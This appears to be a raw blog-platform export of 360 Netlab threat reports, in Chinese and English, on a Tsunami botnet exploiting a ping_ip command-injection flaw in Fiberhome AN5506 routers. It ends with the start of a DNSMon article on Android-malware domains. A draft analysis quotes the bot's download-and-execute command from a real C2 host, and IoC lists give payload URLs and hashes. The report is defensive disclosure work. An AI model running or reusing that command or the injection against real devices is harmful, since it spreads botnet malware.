<a href="__GHOST_URL__/content/images/2021/02/ip_gen-3.PNG"><img src="__GHOST_URL__/content/images/2021/02/ip_gen-3.PNG" class="kg-image"/></a></p>
</li>
<li>
<p>漏洞利用<br>
<a href="__GHOST_URL__/content/images/2021/02/exp_payload.png"><img src="__GHOST_URL__/content/images/2021/02/exp_payload.png" class="kg-image"/></a></p>
</li>
<li>
<p>该样本的主要功能是发起DDoS攻击，具体攻击指令种类如下：<br>
<a href="__GHOST_URL__/content/images/2021/02/atk_meth-2.PNG"><img src="__GHOST_URL__/content/images/2021/02/atk_meth-2.PNG" class="kg-image"/></a></p>
</li>
</ul>
<h3 id="">漏洞影响范围</h3>
<p>360 FirmwareTotal系统通过对烽火通信AN5506路由器固件分析和漏洞验证，发现以下设备型号受影响。</p>
<pre><code>AN5506-01-A
AN5506-01A2G
AN5506-01-B
AN5506-02-B
AN5506-04-A5
AN5506-04-B5
AN5506-04-F
AN5506-04-G2G
</code></pre>
<p>360 Quake网络空间测绘系统通过对全网资产测绘，发现烽火通信AN5506路由器具体分布如下图所示。<br>
<a href="__GHOST_URL__/content/images/2021/02/AN5506.png"><img src="__GHOST_URL__/content/images/2021/02/AN5506.png" class="kg-image"/></a></p>
<h3 id="">处置建议</h3>
<p>我们建议烽火通信AN5506路由器用户及时检查并更新固件系统。<br>
我们建议读者对相关IP和URL进行监控和封锁。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h3 id="ioc">IoC</h3>
<p>IP:</p>
<pre><code>43.225.100.90 Hong Kong ASN4594 Internet Solutions Limited
</code></pre>
<p>C2:</p>
<pre><code>43.225.100.90:443
</code></pre>
<p>URL:</p>
<pre><code>http://43.225.100.90/i486
http://43.225.100.90/powerpc
http://43.225.100.90/i586
http://43.225.100.90/mips64
http://43.225.100.90/i686
http://43.225.100.90/armv6l
http://43.225.100.90/sh4
http://43.225.100.90/x86
http://43.225.100.90/sparc
http://43.225.100.90/armv7l
http://43.225.100.90/mipsel
http://43.225.100.90/armv5l
</code></pre>
<p>MD5:</p>
<pre><code>0f0273ff0989f43e99dd475149e2185d
000ab901bc99669194c586a2c0fa9bb0
1ab3c1291f65da0aa3e6ef885e631317
1f9240939bad6a9a61191508916ee06d
327aba0f852b5ba34c03032e19fa8dae
2128ed685f800e102149961e9f1b56a3
76189718c600fe425806eac90de9cff5
d063e649af418991b593e026920c7f1f
ec361d389ce02ea0ada7136e65efaa03
f0bf954c24ca78420cb66f81de728323
f57fbac2db64f5c358473014f97396a4
f43589884f899300916977b90e38862b
fa5dcf103384d520c6eb07969548af80
</code></pre>
<!--kg-card-end: markdown--> | 本文作者：马延龙，叶根深，金晔
背景介绍
2021年1月29号，360网络安全研究院未知威胁检测系统监测到攻击者正在使用烽火通信科技股份有限公司的AN5506光纤路由器的远程命令执行漏洞[1]，传播Tsunami僵尸网络样本。
此前，我们曾披露了另一起关于烽火通信路由器的安全事件[2]。
时间线
2021年2月3号，我们邮件联系烽火通信科技股份有限公司并报告了漏洞详情以及在野攻击PoC。
2021年2月7号，烽火通信联络人邮件回复该漏洞已在2017年底修复。
漏洞分析
漏洞类型：需授权的远程命令执行漏洞
漏洞描述：AN5506光纤路由器的webs程序在处理setPing请求时，ping_ip字段并未进行危险字符的过滤，即拼接ping或者traceroute命令，导致远程命令执行漏洞。
Tsunami僵尸网络
我们看到Tsunami僵尸网络Bot样本（327aba0f852b5ba34c03032e19fa8dae）中集成了AN5506光纤路由器的漏洞利用代码，进行蠕虫式传播。该样本并没有特别之处，我们只做简要分析。
*
随机IP生成算法
*
漏洞利用
*
该样本的主要功能是发起DDoS攻击，具体攻击指令种类如下：
漏洞影响范围
360 FirmwareTotal系统通过对烽火通信AN5506路由器固件分析和漏洞验证，发现以下设备型号受影响。
AN5506-01-A
AN5506-01A2G
AN5506-01-B
AN5506-02-B
AN5506-04-A5
AN5506-04-B5
AN5506-04-F
AN5506-04-G2G
360 Quake网络空间测绘系统通过对全网资产测绘，发现烽火通信AN5506路由器具体分布如下图所示。
处置建议
我们建议烽火通信AN5506路由器用户及时检查并更新固件系统。
我们建议读者对相关IP和URL进行监控和封锁。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC
IP:
43.225.100.90 Hong Kong ASN4594 Internet Solutions Limited
C2:
43.225.100.90:443
URL:
http://43.225.100.90/i486
http://43.225.100.90/powerpc
http://43.225.100.90/i586
http://43.225.100.90/mips64
http://43.225.100.90/i686
http://43.225.100.90/armv6l
http://43.225.100.90/sh4
http://43.225.100.90/x86
http://43.225.100.90/sparc
http://43.225.100.90/armv7l
http://43.225.100.90/mipsel
http://43.225.100.90/armv5l
MD5:
0f0273ff0989f43e99dd475149e2185d
000ab901bc99669194c586a2c0fa9bb0
1ab3c1291f65da0aa3e6ef885e631317
1f9240939bad6a9a61191508916ee06d
327aba0f852b5ba34c03032e19fa8dae
2128ed685f800e102149961e9f1b56a3
76189718c600fe425806eac90de9cff5
d063e649af418991b593e026920c7f1f
ec361d389ce02ea0ada7136e65efaa03
f0bf954c24ca78420cb66f81de728323
f57fbac2db64f5c358473014f97396a4
f43589884f899300916977b90e38862b
fa5dcf103384d520c6eb07969548af80
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*本文作者：[马延龙](https://twitter.com/_O_owl)，[叶根深](https://twitter.com/zom3y3)，[金晔](https://twitter.com/SethKingHi)*\n\n### 背景介绍\n2021年1月29号，360网络安全研究院未知威胁检测系统监测到攻击者正在使用烽火通信科技股份有限公司的AN5506光纤路由器的远程命令执行漏洞[[1]](https://www.exploit-db.com/exploits/42947)，传播Tsunami僵尸网络样本。\n\n此前，我们曾披露了另一起关于烽火通信路由器的安全事件[[2]](__GHOST_URL__/some-fiberhome-routers-are-being-utilized-as-ssh-tunneling-proxy-nodes/)。\n\n### 时间线\n```\n2021年2月3号，我们邮件联系烽火通信科技股份有限公司并报告了漏洞详情以及在野攻击PoC。\n2021年2月7号，烽火通信联络人邮件回复该漏洞已在2017年底修复。\n```\n\n### 漏洞分析\n漏洞类型：需授权的远程命令执行漏洞\n漏洞描述：AN5506光纤路由器的`webs`程序在处理`setPing`请求时，`ping_ip`字段并未进行危险字符的过滤，即拼接ping或者traceroute命令，导致远程命令执行漏洞。\n<a href=\"__GHOST_URL__/content/images/2021/02/image-20210129174720173.png\"><img src=\"__GHOST_URL__/content/images/2021/02/image-20210129174720173.png\" class=\"kg-image\"/></a>\n\n### Tsunami僵尸网络\n我们看到Tsunami僵尸网络Bot样本（327aba0f852b5ba34c03032e19fa8dae）中集成了AN5506光纤路由器的漏洞利用代码，进行蠕虫式传播。该样本并没有特别之处，我们只做简要分析。\n\n- 随机IP生成算法\n<a href=\"__GHOST_URL__/content/images/2021/02/ip_gen-3.PNG\"><img src=\"__GHOST_URL__/content/images/2021/02/ip_gen-3.PNG\" class=\"kg-image\"/></a>\n\n- 漏洞利用\n<a href=\"__GHOST_URL__/content/images/2021/02/exp_payload.png\"><img src=\"__GHOST_URL__/content/images/2021/02/exp_payload.png\" class=\"kg-image\"/></a>\n\n- 该样本的主要功能是发起DDoS攻击，具体攻击指令种类如下：\n<a href=\"__GHOST_URL__/content/images/2021/02/atk_meth-2.PNG\"><img src=\"__GHOST_URL__/content/images/2021/02/atk_meth-2.PNG\" class=\"kg-image\"/></a>\n\n\n### 漏洞影响范围\n360 FirmwareTotal系统通过对烽火通信AN5506路由器固件分析和漏洞验证，发现以下设备型号受影响。\n```\nAN5506-01-A\nAN5506-01A2G\nAN5506-01-B\nAN5506-02-B\nAN5506-04-A5\nAN5506-04-B5\nAN5506-04-F\nAN5506-04-G2G\n```\n\n360 Quake网络空间测绘系统通过对全网资产测绘，发现烽火通信AN5506路由器具体分布如下图所示。\n<a href=\"__GHOST_URL__/content/images/2021/02/AN5506.png\"><img src=\"__GHOST_URL__/content/images/2021/02/AN5506.png\" class=\"kg-image\"/></a>\n\n\n### 处置建议\n我们建议烽火通信AN5506路由器用户及时检查并更新固件系统。\n我们建议读者对相关IP和URL进行监控和封锁。\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n\n### IoC\nIP:\n```\n43.225.100.90 \tHong Kong \tASN4594 \tInternet Solutions Limited\n```\n\nC2:\n```\n43.225.100.90:443\n```\n\nURL:\n```\nhttp://43.225.100.90/i486\nhttp://43.225.100.90/powerpc\nhttp://43.225.100.90/i586\nhttp://43.225.100.90/mips64\nhttp://43.225.100.90/i686\nhttp://43.225.100.90/armv6l\nhttp://43.225.100.90/sh4\nhttp://43.225.100.90/x86\nhttp://43.225.100.90/sparc\nhttp://43.225.100.90/armv7l\nhttp://43.225.100.90/mipsel\nhttp://43.225.100.90/armv5l\n```\n\nMD5:\n```\n0f0273ff0989f43e99dd475149e2185d\n000ab901bc99669194c586a2c0fa9bb0\n1ab3c1291f65da0aa3e6ef885e631317\n1f9240939bad6a9a61191508916ee06d\n327aba0f852b5ba34c03032e19fa8dae\n2128ed685f800e102149961e9f1b56a3\n76189718c600fe425806eac90de9cff5\nd063e649af418991b593e026920c7f1f\nec361d389ce02ea0ada7136e65efaa03\nf0bf954c24ca78420cb66f81de728323\nf57fbac2db64f5c358473014f97396a4\nf43589884f899300916977b90e38862b\nfa5dcf103384d520c6eb07969548af80\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6018c4e0d0d9b7000712af51 |
post | null | 2021-02-02T05:11:01.000Z | 63873b9a8b1c1e0007f52fa0 | tsunami-exp | 0 | 2021-02-02T06:57:05.000Z | public | draft | null | null | Tsunami 0day 样本分析 | <!--kg-card-begin: markdown--><p>因为样本代码框架是Tsunami，加入了一些Mirai的代码，并没有特别之处，我们只做简要分析。</p>
<h2 id="0day">使用0day进行传播</h2>
<p>样本运行后首先创建exploit传播进程，通过随机算法生成目标IP地址（生成算法来自mirai）。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/ip_gen-3.PNG" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>接着扫描80端口开放情况，如果开放则构建Exp包向80端口发送Exp Payload。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/exp_payload.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>Exp攻击成功后，目标设备会从下载服务器下载样本并执行感染设备。</p>
<pre><code>busybox wget http://43.225.100.90/armv7l -O /tmp/upnp.debug;
chmod 777 /tmp/upnp.debug;
/tmp/upnp.debug
</code></pre>
<h2 id="ddos">主要功能DDoS</h2>
<p>在创建exploit子进程后，样本开始通过IRC协议连接服务器等待进一步指令。样本的主要功能是发起DDoS攻击，DDoS攻击种类如下：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/atk_meth-2.PNG" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>虽然样本使用Tsunami框架代码和协议，但是里面也加入了Mirai的代码，其中字串加密方法完全照抄Mirai。从解出来的字串中可以看到Mirai的字样。</p>
<pre><code>/proc/
/exe
/fd
/proc/net/tcp
/status
/proc/net/route
assword
hdyuk82upoklm28oa0hnmuqigvxj9pq
/tmp/
/maps
shell
enable
system
sh
/bin/busybox MIRAI
MIRAI: applet not found
</code></pre>
<!--kg-card-end: markdown--><p> </p> | 因为样本代码框架是Tsunami，加入了一些Mirai的代码，并没有特别之处，我们只做简要分析。
使用0day进行传播
样本运行后首先创建exploit传播进程，通过随机算法生成目标IP地址（生成算法来自mirai）。
接着扫描80端口开放情况，如果开放则构建Exp包向80端口发送Exp Payload。
Exp攻击成功后，目标设备会从下载服务器下载样本并执行感染设备。
busybox wget http://43.225.100.90/armv7l -O /tmp/upnp.debug;
chmod 777 /tmp/upnp.debug;
/tmp/upnp.debug
主要功能DDoS
在创建exploit子进程后，样本开始通过IRC协议连接服务器等待进一步指令。样本的主要功能是发起DDoS攻击，DDoS攻击种类如下：
虽然样本使用Tsunami框架代码和协议，但是里面也加入了Mirai的代码，其中字串加密方法完全照抄Mirai。从解出来的字串中可以看到Mirai的字样。
/proc/
/exe
/fd
/proc/net/tcp
/status
/proc/net/route
assword
hdyuk82upoklm28oa0hnmuqigvxj9pq
/tmp/
/maps
shell
enable
system
sh
/bin/busybox MIRAI
MIRAI: applet not found
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"\n因为样本代码框架是Tsunami，加入了一些Mirai的代码，并没有特别之处，我们只做简要分析。\n\n## 使用0day进行传播\n\n\n样本运行后首先创建exploit传播进程，通过随机算法生成目标IP地址（生成算法来自mirai）。\n\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/ip_gen-3.PNG"}],["markdown",{"markdown":"\n接着扫描80端口开放情况，如果开放则构建Exp包向80端口发送Exp Payload。"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/exp_payload.png"}],["markdown",{"markdown":"\n\nExp攻击成功后，目标设备会从下载服务器下载样本并执行感染设备。\n\n```\nbusybox wget http://43.225.100.90/armv7l -O /tmp/upnp.debug; \nchmod 777 /tmp/upnp.debug; \n/tmp/upnp.debug\n```\n\n\n## 主要功能DDoS\n\n在创建exploit子进程后，样本开始通过IRC协议连接服务器等待进一步指令。样本的主要功能是发起DDoS攻击，DDoS攻击种类如下：\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/atk_meth-2.PNG"}],["markdown",{"markdown":"虽然样本使用Tsunami框架代码和协议，但是里面也加入了Mirai的代码，其中字串加密方法完全照抄Mirai。从解出来的字串中可以看到Mirai的字样。\n```\n/proc/\n/exe\n/fd\n/proc/net/tcp\n/status\n/proc/net/route\nassword\nhdyuk82upoklm28oa0hnmuqigvxj9pq\n/tmp/\n/maps\nshell\nenable\nsystem\nsh\n/bin/busybox MIRAI\nMIRAI: applet not found\n```"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[1,"p",[[0,[],0," "]]]],"ghostVersion":"3.0"} | 6018dee5d0d9b7000712b019 |
post | null | 2021-02-08T01:40:34.000Z | 63873b9a8b1c1e0007f52fa1 | a-new-tsunami-botnet-is-using-a-vulnerability-in-the-fiberhome-an5506-fiber-router-to-spread-2 | 0 | 2021-02-08T02:03:00.000Z | public | draft | null | null | A new Tsunami botnet is using a vulnerability in the Fiberhome AN5506 fiber router to spread | <!--kg-card-begin: markdown--><p><em>Author: <a href="https://twitter.com/_O_owl">Yanlong Ma</a>, <a href="https://twitter.com/zom3y3">Genshen Ye</a>, <a href="https://twitter.com/SethKingHi">Ye Jin</a></em></p>
<h3 id="background">Background</h3>
<p>On January 29, 2021,360netlab Threat Detection System spotted that attackers were using a new remote command execution vulnerability<a href="https://www.exploit-db.com/exploits/42947">[1]</a> in the AN5506 fiber router of Fiberhome Communication Technology Co. to spread Tsunami botnet samples.</p>
<p>Previously, we have disclosed another security incident about Fiberhome's routers <a href="__GHOST_URL__/some-fiberhome-routers-are-being-utilized-as-ssh-tunneling-proxy-nodes-2/">[2]</a>.</p>
<h3 id="timeline">Timeline</h3>
<pre><code>On February 3, 2021, we emailed Fiberhome and reported the vulnerability details and the PoC.
On February 7, 2021, Fiberhome replied that the vulnerability was fixed at the end of 2017.
</code></pre>
<h3 id="vulnerabilityanalysis">Vulnerability Analysis</h3>
<p>Vulnerability Type: Remote command execution vulnerability requiring authorization<br>
Vulnerability Description: The webs program of the AN5506 fiber router does not filter for dangerous characters in the ping_ip field when processing setPing requests, i.e., splicing ping or traceroute commands, resulting in a remote command execution vulnerability.<br>
<a href="__GHOST_URL__/content/images/2021/02/image-20210129174720173.png"><img src="__GHOST_URL__/content/images/2021/02/image-20210129174720173.png" class="kg-image"/></a></p>
<h3 id="tsunamibotnet">Tsunami botnet</h3>
<p>This specfic Tsunami botnet Bot sample (327aba0f852b5ba34c03032e19fa8dae) targets the AN5506 fiber router. There is nothing special about this sample, and we will only briefly analyze it.</p>
<ul>
<li>
<p>Random IP generation algorithm<br>
<a href="__GHOST_URL__/content/images/2021/02/ip_gen-3.PNG"><img src="__GHOST_URL__/content/images/2021/02/ip_gen-3.PNG" class="kg-image"/></a></p>
</li>
<li>
<p>Vulnerability Exploitation<br>
<a href="__GHOST_URL__/content/images/2021/02/exp_payload.png"><img src="__GHOST_URL__/content/images/2021/02/exp_payload.png" class="kg-image"/></a></p>
</li>
<li>
<p>The primary function of the sample is to launch DDoS attack with the following specific types of attack commands.<br>
<a href="__GHOST_URL__/content/images/2021/02/atk_meth-2.PNG"><img src="__GHOST_URL__/content/images/2021/02/atk_meth-2.PNG" class="kg-image"/></a></p>
</li>
</ul>
<h3 id="vulnerabilityimpactscope">Vulnerability Impact Scope</h3>
<p>360 FirmwareTotal system shows the following device models are affected.</p>
<pre><code>AN5506-01-A
AN5506-01A2G
AN5506-01-B
AN5506-02-B
AN5506-04-A5
AN5506-04-B5
AN5506-04-F
AN5506-04-G2G
</code></pre>
<p>360 Quake Cyberspace Mapping System found the specific distribution of Fiberhome AN5506 routers by mapping the assets of the whole network as shown in the figure below.<br>
<a href="__GHOST_URL__/content/images/2021/02/AN5506.png"><img src="__GHOST_URL__/content/images/2021/02/AN5506.png" class="kg-image"/></a></p>
<h3 id="recommendations">Recommendations</h3>
<p>We recommend users of Fiberhome AN5506 router to check and update the firmware system.<br>
We also recommend readers to monitor and block the related IPs and URLs in the IoC section.</p>
<h3 id="contactus">Contact us</h3>
<p>Interested readers can contact us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> or via email <strong>netlab[at]360.cn</strong> .</p>
<h3 id="ioc">IoC</h3>
<p>IP:</p>
<pre><code>43.225.100.90 Hong Kong ASN4594 Internet Solutions Limited
</code></pre>
<p>C2:</p>
<pre><code>43.225.100.90:443
</code></pre>
<p>URL:</p>
<pre><code>http://43.225.100.90/i486
http://43.225.100.90/powerpc
http://43.225.100.90/i586
http://43.225.100.90/mips64
http://43.225.100.90/i686
http://43.225.100.90/armv6l
http://43.225.100.90/sh4
http://43.225.100.90/x86
http://43.225.100.90/sparc
http://43.225.100.90/armv7l
http://43.225.100.90/mipsel
http://43.225.100.90/armv5l
</code></pre>
<p>MD5:</p>
<pre><code>0f0273ff0989f43e99dd475149e2185d
000ab901bc99669194c586a2c0fa9bb0
1ab3c1291f65da0aa3e6ef885e631317
1f9240939bad6a9a61191508916ee06d
327aba0f852b5ba34c03032e19fa8dae
2128ed685f800e102149961e9f1b56a3
76189718c600fe425806eac90de9cff5
d063e649af418991b593e026920c7f1f
ec361d389ce02ea0ada7136e65efaa03
f0bf954c24ca78420cb66f81de728323
f57fbac2db64f5c358473014f97396a4
f43589884f899300916977b90e38862b
fa5dcf103384d520c6eb07969548af80
</code></pre>
<!--kg-card-end: markdown--> | Author: Yanlong Ma, Genshen Ye, Ye Jin
Background
On January 29, 2021,360netlab Threat Detection System spotted that attackers were using a new remote command execution vulnerability[1] in the AN5506 fiber router of Fiberhome Communication Technology Co. to spread Tsunami botnet samples.
Previously, we have disclosed another security incident about Fiberhome's routers [2].
Timeline
On February 3, 2021, we emailed Fiberhome and reported the vulnerability details and the PoC.
On February 7, 2021, Fiberhome replied that the vulnerability was fixed at the end of 2017.
Vulnerability Analysis
Vulnerability Type: Remote command execution vulnerability requiring authorization
Vulnerability Description: The webs program of the AN5506 fiber router does not filter for dangerous characters in the ping_ip field when processing setPing requests, i.e., splicing ping or traceroute commands, resulting in a remote command execution vulnerability.
Tsunami botnet
This specfic Tsunami botnet Bot sample (327aba0f852b5ba34c03032e19fa8dae) targets the AN5506 fiber router. There is nothing special about this sample, and we will only briefly analyze it.
*
Random IP generation algorithm
*
Vulnerability Exploitation
*
The primary function of the sample is to launch DDoS attack with the following specific types of attack commands.
Vulnerability Impact Scope
360 FirmwareTotal system shows the following device models are affected.
AN5506-01-A
AN5506-01A2G
AN5506-01-B
AN5506-02-B
AN5506-04-A5
AN5506-04-B5
AN5506-04-F
AN5506-04-G2G
360 Quake Cyberspace Mapping System found the specific distribution of Fiberhome AN5506 routers by mapping the assets of the whole network as shown in the figure below.
Recommendations
We recommend users of Fiberhome AN5506 router to check and update the firmware system.
We also recommend readers to monitor and block the related IPs and URLs in the IoC section.
Contact us
Interested readers can contact us on twitter or via email netlab[at]360.cn .
IoC
IP:
43.225.100.90 Hong Kong ASN4594 Internet Solutions Limited
C2:
43.225.100.90:443
URL:
http://43.225.100.90/i486
http://43.225.100.90/powerpc
http://43.225.100.90/i586
http://43.225.100.90/mips64
http://43.225.100.90/i686
http://43.225.100.90/armv6l
http://43.225.100.90/sh4
http://43.225.100.90/x86
http://43.225.100.90/sparc
http://43.225.100.90/armv7l
http://43.225.100.90/mipsel
http://43.225.100.90/armv5l
MD5:
0f0273ff0989f43e99dd475149e2185d
000ab901bc99669194c586a2c0fa9bb0
1ab3c1291f65da0aa3e6ef885e631317
1f9240939bad6a9a61191508916ee06d
327aba0f852b5ba34c03032e19fa8dae
2128ed685f800e102149961e9f1b56a3
76189718c600fe425806eac90de9cff5
d063e649af418991b593e026920c7f1f
ec361d389ce02ea0ada7136e65efaa03
f0bf954c24ca78420cb66f81de728323
f57fbac2db64f5c358473014f97396a4
f43589884f899300916977b90e38862b
fa5dcf103384d520c6eb07969548af80
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*Author: [Yanlong Ma](https://twitter.com/_O_owl), [Genshen Ye](https://twitter.com/zom3y3), [Ye Jin](https://twitter.com/SethKingHi)*\n\n### Background\nOn January 29, 2021,360netlab Threat Detection System spotted that attackers were using a new remote command execution vulnerability[[1]](https://www.exploit-db.com/exploits/42947) in the AN5506 fiber router of Fiberhome Communication Technology Co. to spread Tsunami botnet samples.\n\nPreviously, we have disclosed another security incident about Fiberhome's routers [[2]](__GHOST_URL__/some-fiberhome-routers-are-being-utilized-as-ssh-tunneling-proxy-nodes-2/).\n\n### Timeline\n```\nOn February 3, 2021, we emailed Fiberhome and reported the vulnerability details and the PoC.\nOn February 7, 2021, Fiberhome replied that the vulnerability was fixed at the end of 2017.\n```\n\n### Vulnerability Analysis\nVulnerability Type: Remote command execution vulnerability requiring authorization\nVulnerability Description: The webs program of the AN5506 fiber router does not filter for dangerous characters in the ping_ip field when processing setPing requests, i.e., splicing ping or traceroute commands, resulting in a remote command execution vulnerability.\n<a href=\"__GHOST_URL__/content/images/2021/02/image-20210129174720173.png\"><img src=\"__GHOST_URL__/content/images/2021/02/image-20210129174720173.png\" class=\"kg-image\"/></a>\n\n### Tsunami botnet\nThis specfic Tsunami botnet Bot sample (327aba0f852b5ba34c03032e19fa8dae) targets the AN5506 fiber router. There is nothing special about this sample, and we will only briefly analyze it.\n\n- Random IP generation algorithm\n<a href=\"__GHOST_URL__/content/images/2021/02/ip_gen-3.PNG\"><img src=\"__GHOST_URL__/content/images/2021/02/ip_gen-3.PNG\" class=\"kg-image\"/></a>\n\n- Vulnerability Exploitation\n<a href=\"__GHOST_URL__/content/images/2021/02/exp_payload.png\"><img src=\"__GHOST_URL__/content/images/2021/02/exp_payload.png\" class=\"kg-image\"/></a>\n\n- The primary function of the sample is to launch DDoS attack with the following specific types of attack commands.\n<a href=\"__GHOST_URL__/content/images/2021/02/atk_meth-2.PNG\"><img src=\"__GHOST_URL__/content/images/2021/02/atk_meth-2.PNG\" class=\"kg-image\"/></a>\n\n\n### Vulnerability Impact Scope\n360 FirmwareTotal system shows the following device models are affected.\n```\nAN5506-01-A\nAN5506-01A2G\nAN5506-01-B\nAN5506-02-B\nAN5506-04-A5\nAN5506-04-B5\nAN5506-04-F\nAN5506-04-G2G\n```\n\n360 Quake Cyberspace Mapping System found the specific distribution of Fiberhome AN5506 routers by mapping the assets of the whole network as shown in the figure below.\n<a href=\"__GHOST_URL__/content/images/2021/02/AN5506.png\"><img src=\"__GHOST_URL__/content/images/2021/02/AN5506.png\" class=\"kg-image\"/></a>\n\n\n### Recommendations\nWe recommend users of Fiberhome AN5506 router to check and update the firmware system.\nWe also recommend readers to monitor and block the related IPs and URLs in the IoC section.\n\n### Contact us\nInterested readers can contact us on [**twitter**](https://twitter.com/360Netlab) or via email **netlab[at]360.cn** .\n\n\n### IoC\nIP:\n```\n43.225.100.90 \tHong Kong \tASN4594 \tInternet Solutions Limited\n```\n\nC2:\n```\n43.225.100.90:443\n```\n\nURL:\n```\nhttp://43.225.100.90/i486\nhttp://43.225.100.90/powerpc\nhttp://43.225.100.90/i586\nhttp://43.225.100.90/mips64\nhttp://43.225.100.90/i686\nhttp://43.225.100.90/armv6l\nhttp://43.225.100.90/sh4\nhttp://43.225.100.90/x86\nhttp://43.225.100.90/sparc\nhttp://43.225.100.90/armv7l\nhttp://43.225.100.90/mipsel\nhttp://43.225.100.90/armv5l\n```\n\nMD5:\n```\n0f0273ff0989f43e99dd475149e2185d\n000ab901bc99669194c586a2c0fa9bb0\n1ab3c1291f65da0aa3e6ef885e631317\n1f9240939bad6a9a61191508916ee06d\n327aba0f852b5ba34c03032e19fa8dae\n2128ed685f800e102149961e9f1b56a3\n76189718c600fe425806eac90de9cff5\nd063e649af418991b593e026920c7f1f\nec361d389ce02ea0ada7136e65efaa03\nf0bf954c24ca78420cb66f81de728323\nf57fbac2db64f5c358473014f97396a4\nf43589884f899300916977b90e38862b\nfa5dcf103384d520c6eb07969548af80\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 60209692d0d9b7000712b22a |
post | null | 2021-02-08T05:02:06.000Z | 63873b9a8b1c1e0007f52fa2 | use-dns-data-produce-threat-intelligence-3-en | 0 | 2021-02-09T02:07:48.000Z | public | published | null | 2021-02-09T02:07:40.000Z | DNSMon: using DNS data to produce threat intelligence (3) | <h2 id="background">Background</h2><p>This article is the third in our series of articles introducing DNSMon in the production of threat intelligence (Domain Name IoC).</p><p>As a basic core protocol of the Internet, DNS protocol is one of the cornerstones for the normal operation of the Internet.</p><p>DNSMon, which was born and raised on the foundation of DNS protocol, naturally has a broad vision and can be involved in security incidents that happen in different industries or different platforms. In our first two blog posts of DNSMon's series, the Skidmap mentioned in <a href="__GHOST_URL__/security-with-dns-data_en/">the first article</a> was infected with cloud hosts on Linux platform; while <a href="__GHOST_URL__/use-dns-data-produce-threat-intelligence-2/">the second article</a> mentioned a set of domain names issued after the Windows platform of an Internet cafe was infected; this article is a case involving Android platform. We believe this is the beauty of using DNS data, no matter what platform the bad guys are using, the knowledge points or rules used by DNSMon do not fundamentally change.</p><h2 id="blocking-the-unknown-threat">Blocking the unknown threat</h2><p>Recently, we noticed that DMSMon has marked a set of structurally similar domains and automatically blocked them starting from 2021-01-10.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/block_01-1.png" class="kg-image" alt loading="lazy"></figure><p>Going into the system to check the collected information, we see that this is a set of malicious domains related to Android platform.</p><h2 id="expanding-similar-domains">Expanding Similar Domains</h2><p>Using the rdata and other data of the automatically blocked domains, we found that DNSMon actually warned of more than the 5 domains listed above, there are 16 domains in this category in total.</p><!--kg-card-begin: markdown--><pre><code>ereusingl[.]fun
lisersrath[.]fun
predition[.]fun
ningspais[.]top
ssuminat[.]top
erefulpat[.]top
stirlinebea[.]top
utionstro[.]top
lesseased[.]top
thinkdisen[.]top
edcarefe[.]fun
holidano[.]top
ehousan[.]top
swoulder[.]fun
riemanufa[.]top
ntrealing[.]fun
</code></pre>
<!--kg-card-end: markdown--><p>In terms of active time, these 16 domains are put into use sequentially and have a relatively intensive launch period in January 2021.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/sdanf_02-1.png" class="kg-image" alt loading="lazy"></figure><p>In the course of writing this article, we have seen other new similar domains captured by our system such as antdaugh[.] top, ngslalatfin[.] top, etc., but for the sake of consistency, these new domains will be omitted from this article.</p><h2 id="reasons-for-autoblocking">Reasons for autoblocking</h2><p>In <a href="__GHOST_URL__/security-with-dns-data_en/">the first article</a>, we mentioned that</p><blockquote>The core of DNSMon is to cross-compare the massive DNS data with the security-related data owned by 360 (including whois, web, sandbox, honeypot, certificate, etc.) and analyze it to derive the threat intelligence IOC.</blockquote><p>In the following, we analyze the data features and annotate from the whois and sandbox obtained by the system. Of course, in addition to these data, DNSMon's autoblocking process also relies on other feature data, but we will not list them here.</p><h3 id="1-whois">1. whois</h3><p>The 16 domain names were registered in two batches, one on 2020-11-06 and the other on 2020-12-23; the length of validity of the registration: one year, and the privacy protection was turned on.</p><!--kg-card-begin: markdown--><pre><code>ereusingl.fun createddate 2020-11-06 10:10:12
ereusingl.fun updateddate 2020-11-06 10:20:27
ereusingl.fun expiresdate 2021-11-06 23:59:59
ereusingl.fun status addPeriod | clientTransferProhibited | serverTransferProhibited
lisersrath.fun createddate 2020-11-06 10:10:12
lisersrath.fun updateddate 2020-11-06 10:20:20
lisersrath.fun expiresdate 2021-11-06 23:59:59
lisersrath.fun status addPeriod | clientTransferProhibited | serverTransferProhibited
predition.fun createddate 2020-11-06 10:09:51
predition.fun updateddate 2020-11-06 10:15:26
predition.fun expiresdate 2021-11-06 23:59:59
predition.fun status addPeriod | clientTransferProhibited | serverTransferProhibited
...
ningspais.top createddate 2020-12-23 15:57:59
ningspais.top updateddate 2021-01-06 10:37:20
ningspais.top expiresdate 2021-12-23 15:57:59
ningspais.top status clientTransferProhibited
ssuminat.top createddate 2020-12-23 15:58:00
ssuminat.top updateddate 2021-01-06 10:37:23
